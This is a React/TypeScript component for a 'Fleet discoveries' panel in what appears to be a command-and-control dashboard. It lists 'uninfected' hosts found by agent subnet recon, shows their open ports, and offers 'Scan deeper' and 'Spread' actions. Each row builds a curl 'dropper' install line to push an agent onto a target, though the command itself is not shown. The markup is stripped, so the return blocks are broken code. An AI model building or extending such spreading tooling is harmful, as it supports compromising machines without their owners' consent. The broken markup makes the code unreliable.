import { memo, useCallback, useEffect, useMemo, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import type { Agent } from '../../types';
import type { DiscoveredHost, DiscoveredHostRow, ReconScanReport } from '../../types/recon';
import { HelpTip } from '../HelpTip';
import { crucibleSpreadLink, curlInstallLine } from '../../help/deployRecon';
import {
DEFAULT_DISCOVERY_FILTERS,
discoveryStatusLabel,
discoverySubnetOptions,
filterDiscoveryRows,
fmtDiscoveryTime,
manualScanToDiscovery,
mergeDiscoveryRows,
parseSubnetDiscoveryUpdate,
type DiscoveryFilters,
} from '../../help/fleetDiscoveries';
import { useWebSocket } from '../../hooks/useWebSocket';
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
void navigator.clipboard?.writeText(text).then(() => {
setOk(true);
setTimeout(() => setOk(false), 1500);
}).catch(() => {});
};
return (
{ok ? 'Copied' : label}
);
}
function reporterLabel(row: DiscoveredHostRow, agents: Agent[]): string {
if (row.source === 'manual') return 'Manual scan';
if (!row.reporter_agent_id) return '—';
const agent = agents.find((a) => a.id === row.reporter_agent_id);
return agent?.name || agent?.hostname || row.reporter_agent_id.slice(0, 8);
}
const DiscoveryRow = memo(function DiscoveryRow({
row,
agents,
serverBase,
pinnedBuildId,
onScanDeeper,
scanningIp,
}: {
row: DiscoveredHostRow;
agents: Agent[];
serverBase: string;
pinnedBuildId: string;
onScanDeeper: (ip: string) => void;
scanningIp: string;
}) {
const dropper = useMemo(
() => curlInstallLine(serverBase, pinnedBuildId),
[serverBase, pinnedBuildId],
);
const uninfected = row.status === 'uninfected';
return (
{row.ip}
{row.open_ports.length === 0 ? (
—
) : (
row.open_ports.map((p) => (
{p}
))
)}
{reporterLabel(row, agents)}
{row.subnet_prefix || '—'}
{fmtDiscoveryTime(row.last_seen)}
{discoveryStatusLabel(row)}
onScanDeeper(row.ip)}
>
{scanningIp === row.ip ? 'Scanning…' : 'Scan deeper'}
Spread
);
});
export interface FleetDiscoveriesPanelProps {
manualScans: ReconScanReport[];
onScanDeeper: (ip: string) => void;
scanningIp: string;
serverBase: string;
pinnedBuildId: string;
}
export default function FleetDiscoveriesPanel({
manualScans,
onScanDeeper,
scanningIp,
serverBase,
pinnedBuildId,
}: FleetDiscoveriesPanelProps) {
const { latestMessage, agents } = useWebSocket();
const [agentHosts, setAgentHosts] = useState([]);
const [loading, setLoading] = useState(true);
const [apiMissing, setApiMissing] = useState(false);
const [filters, setFilters] = useState(DEFAULT_DISCOVERY_FILTERS);
const load = useCallback(async () => {
try {
const data = await api.getDiscoveredHosts({ status: 'uninfected' });
if (!data) {
setApiMissing(true);
setAgentHosts([]);
return;
}
setApiMissing(false);
setAgentHosts(data.hosts ?? []);
} catch {
setApiMissing(true);
} finally {
setLoading(false);
}
}, []);
useEffect(() => {
void load();
}, [load]);
useEffect(() => {
if (!latestMessage || latestMessage.type !== 'subnet_discovery_update') return;
const incoming = parseSubnetDiscoveryUpdate(latestMessage.payload);
if (incoming.length === 0) return;
setAgentHosts((prev) => {
const map = new Map(prev.map((h) => [h.ip, h]));
for (const h of incoming) {
const old = map.get(h.ip);
if (!old) {
map.set(h.ip, h);
continue;
}
map.set(h.ip, {
...old,
...h,
open_ports: [...new Set([...old.open_ports, ...h.open_ports])].sort((a, b) => a - b),
});
}
return [...map.values()];
});
setApiMissing(false);
setLoading(false);
}, [latestMessage]);
const manualHosts = useMemo(
() => manualScans.map(manualScanToDiscovery),
[manualScans],
);
const merged = useMemo(
() => mergeDiscoveryRows(agentHosts, manualHosts),
[agentHosts, manualHosts],
);
const subnetOptions = useMemo(() => discoverySubnetOptions(merged), [merged]);
const filtered = useMemo(
() => filterDiscoveryRows(merged, filters),
[merged, filters],
);
return (
Fleet discoveries
{filtered.length} uninfected
Subnet
setFilters((f) => ({ ...f, subnet: e.target.value }))}
data-testid="dr-subnet-filter"
>
All subnets
{subnetOptions.map((s) => (
{s}
))}
Has port
setFilters((f) => ({ ...f, port: e.target.value }))}
data-testid="dr-port-filter"
/>
Sort
setFilters((f) => ({ ...f, sort: e.target.value as DiscoveryFilters['sort'] }))
}
data-testid="dr-sort-filter"
>
Last seen ↓
Last seen ↑
IP A→Z
{loading ? (
Loading agent discoveries…
) : filtered.length === 0 ? (
{apiMissing && manualHosts.length === 0
? 'No discoveries yet — run a manual scan or wait for agent subnet recon.'
: 'No hosts match filters. Try clearing subnet/port filters or run Scan on a target.'}
) : (
IP
Open ports
Reporter
Subnet
Last seen
Status
Actions
{filtered.map((row) => (
))}
)}
);
}